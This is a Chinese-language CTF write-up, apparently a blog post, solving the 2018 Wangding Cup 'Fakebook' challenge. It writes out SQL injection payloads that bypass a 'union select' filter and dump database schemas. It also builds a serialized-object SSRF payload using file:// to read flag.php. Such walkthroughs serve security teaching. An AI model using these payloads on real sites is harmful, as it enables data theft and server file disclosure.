[网鼎杯 2018]Fakebook 1

[网鼎杯 2018]Fakebook 1

打开实例发现为博客列表,有登录跳转和类似注册或者添加博客的join跳转

image-20241115223120952

查看源码无果

打开登陆页,尝试万能密码

image-20241115225259566

没有用,尝试从join入手,用admin去随便join一个

image-20241115225618140

显示博客不存在

期间尝试多种sql注入方法均没有效果,转去其他方向

尝试dirsearch目录爆破,发现了几个有用的小玩意儿

image-20241115230935861

image-20241115231211847

image-20241115232909907

注意到robots.txtflag.php等目录

访问robots.txt发现/user.php.bak备份文件路径

image-20241116102619000

打开bak文件,发现php代码

image-20241116102703087

注意到get方法里面存在curl_exec(),可能这道题为ssrf漏洞利用

image-20241116103403034

同时注意到isValidBlog()方法的正则匹配,判断出传入的blog参数值必须为url形式

image-20241116103659536

验证,join页面添加成功

image-20241116103801045

列表出现刚刚添加的输出,点击蓝字进去,发现no参数

image-20241116103915095

image-20241116103927688

回显起刚刚扫到的db.php路径,尝试sql注入

由于注意到bak文件中,age被强转为int,所以这边采用数字型注入方法

image-20241116104558443

and拼接

image-20241116104701993

报错,但是显示出了view.php的路径,由此可以判断flag.php的路径为

 /var/www/html/flag.php

?no=1 and 1=1回显正常,判断存在sql注入

image-20241116104803840

order by判断字段数

?no=1 order by 5

image-20241116104858358

可以看到,当order by 5时候报错,所以字段数为4

union联合查询

?no=1 union select 1,2,3,database()

image-20241116105004034

显示no hack_,判断存在字段过滤

image-20241116105212763

image-20241116105224812

image-20241116105244741

可以看到,union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/**/注释绕过

?no=-1 union/**/select 1,2,3,4

image-20241116105714816

成功绕过,看到username回显正常,判断username为回显位置,为2

查询当前数据库

?no=-1 union/**/select 1,database(),3,4

image-20241116105848114

库名为fakebook

爆库

?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

image-20241116110244709

数据库

fakebook,information_schema,mysql,performance_schema,test

看来fakebook就是我们要的库,爆表

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

image-20241116110357432

获得users

爆字段

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

image-20241116110514430

获得字段

no,username,passwd,data

查数据

?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users

image-20241116111009098

注意到data字段里面的数据为刚刚我们join的数据的序列化形式

image-20241116111123118

好玩的来了,注意到源代码这边使用的是iframe

image-20241116111211178

前面分析可知flag.php的路径,ssrf访问文件可以用伪协议file://,把序列化字符串作为参数输入

测试,将blog值改为百度的网址

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:22:"https://www.baidu.com/";}'

image-20241116112455099

检查元素,发现百度在iframe内用base64的形式被加载了出来

image-20241116112545917

验证成功:

这边由于原本的https://www.baodu.com/是22,所以构造payload时这边改成file:///var/www/html/flag.php要更改长度为29

image-20241116113925419

构造payload

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

显示正常

image-20241116114018580

查看源代码,发现base64编码字符串

image-20241116114043495

解码获得flag

image-20241116114116599

flag{8d399df2-335e-4fb8-9c18-f5be2ecfea00}
posted @ 2024-11-16 12:01  TazmiDev  阅读(59)  评论(0)    收藏  举报